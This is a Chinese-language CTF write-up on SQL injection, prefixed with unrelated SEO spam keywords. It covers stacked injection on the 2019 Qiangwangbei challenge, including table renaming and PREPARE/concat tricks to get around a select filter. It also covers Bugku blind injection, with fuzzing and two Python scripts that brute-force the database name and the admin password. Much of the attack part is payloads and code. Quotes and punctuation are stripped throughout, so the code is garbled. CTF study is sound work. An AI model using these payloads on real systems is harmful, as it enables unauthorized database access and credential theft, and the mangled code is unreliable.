dede网站模板安装,开发一个app有多难,遵义在线直播,微信小程序个人可以做吗一.2019强网杯随便注入 过滤了一些函数#xff0c;联合查询#xff0c;报错#xff0c;布尔#xff0c;时间等都不能用了#xff0c;尝试堆叠注入 1.通过判断是单引号闭合
?inject1-- 2.尝试堆叠查询数据库
?inject1;show databases;-- 3.查询数据表
?inject1;show …一.2019强网杯随便注入 过滤了一些函数联合查询报错布尔时间等都不能用了尝试堆叠注入 1.通过判断是单引号闭合
?inject1-- 2.尝试堆叠查询数据库
?inject1;show databases;-- 3.查询数据表
?inject1;show tables;-- 4.查询这两张表的字段 words表 两个字段iddata
?inject1;show columns from words;-- mysql中点引号( ’ )和反勾号( )的区别
linux下不区分windows下区分
区别:
单引号( )或双引号主要用于字符串的引用符号
egmysql SELECT hello, hello ;
反勾号( )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:mysqlSELECT * FROM table WHERE from abc ;1919810931114514表一个字段flag
?inject1;show columns from 1919810931114514;-- 要向查flag需要select而select被过滤了这里有两种方法绕过 5.查询flag ①这里共有两种表查询的肯定是words查询语句大概是这样select id,data from words where id,可以通过修改表名和列名来达到查询flag的目的 把word表名改为word2把1919810931114514表名改为word,给1919810931114514新增列id把列名flag修改为data
?inject1;rename table words to word2;rename table 1919810931114514 to words;ALTER TABLE words ADD id int(10) DEFAULT 12;ALTER TABLE words CHANGE flag data VARCHAR(100);-- 1’ or 11-- 会输出所有数据 或者12
②使用预处理和concat函数拼接select
?inject1;use supersqli;set sqlconcat(s,elect flag from 1919810931114514);PREPARE stmt1 FROM sql;EXECUTE stmt1-- 二.bugktu sql注入 通过这里可以得出一个用户名为admin 输入passwordaausernameadmin’-- 时发现非法字符有过滤使用burp自带的进行fuzz测试 burp抓包发送到intruder模块设置一个变量 在github找一个sql注入的fuzz字典进行测试 通过测试发现andlike-- order byunion select,information,where逗号空格等被过滤了 通过测试闭合符号为单引号闭合(admin’#)当输入的闭合正确时显示password error错误时显示username do not exist或illegal character先判断用户名是否存在存在后在判断密码是否正确 判断当前数据库长度,注意这里要输入一个错误的用户名因为or的短路性 空格用括号绕过等号可以用大于号绕过
usernameaor(length(database())7)#passworda数据库名爆破
import requests
url http://114.67.175.224:10302/index.php
db_name
for i in range(1,50):for j in range(1,128):data {username:admin^(ascii(substr(database())from({}))){}).format(i,j),password:1,submit:Log In}r requests.post(url,datadata)if password error! in r.text:db_name db_name chr(j)print(db_name)break
print(db_name)表名和字段名只能靠猜了 密码爆破
import requests
url http://114.67.175.224:10302/index.php
password
for i in range(1,50):for j in range(1,128):data {username:admin^(ascii(substr((select(password)from(admin))from({}))){})#.format(i,j),password:1,submit:Log In}r requests.post(url,datadata)if password error! in r.text:password password chr(j)print(password)break
print(password)跑出来时一段MD5值在线网站查一下即可登陆后拿到flag select ascii(substr(database()from(1))) 异或运算不同时为1
参考文章 随便注 bugktu sql盲注